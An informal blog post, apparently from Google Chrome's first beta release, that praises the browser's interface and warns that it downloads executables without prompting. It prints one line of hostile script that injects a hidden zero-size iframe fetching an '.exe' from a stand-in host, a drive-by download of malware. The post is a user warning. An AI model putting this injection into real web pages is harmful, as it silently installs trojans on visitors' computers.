Google Chrome™ : Between [+ve] & [-ve] Views

Google Chrome™ : The most advance web browser nowadays. isn't it? From the [+ve] sight of it's "design" and "friendly GUI", it's totally yes; with its new features such as "One box for everything" that combines several usage at one page ['tabbed view : view most visited page', 'search engine', 'recent bookmark' and 'recent closed tabs'], once you open a new tab. Plus it's unique upside tabs [i:+fav:it]. BUT, from the sight of security and it's [-ve], this first released of Google Chrome™ is a little bit "disappointing" as it comes with a "security holes" that can be easily exploited by those "exploiter". FYinfo, what's I'm pointing of is, Google Chrome™, allows files [eg:executables.exe] to be automatically downloaded to the user's computer without prompting the user. This "security holes" can be easily used by "exploiter" to spread anonymous files [eg:trojan/malware] to your comp via an exploited sites. So, be alert in to Google Chrome™ downloaded files. This is an example of codes in the exploited page that may have used by the "exploiter" to bypass Google Chrome™ "security holes":

<script> document.write('<iframe src="http://www.SomeSortOfSite.com/anonymous.exe" frameborder="0" width="0" height="0">'); </script>

p/s: Hope that the updated [un-beta] version will fix the "holes" in Google Chrome™..Anyway, thanks for Google for this great advance free open source web browser. Hey!! Officially download Google Chrome™ [here]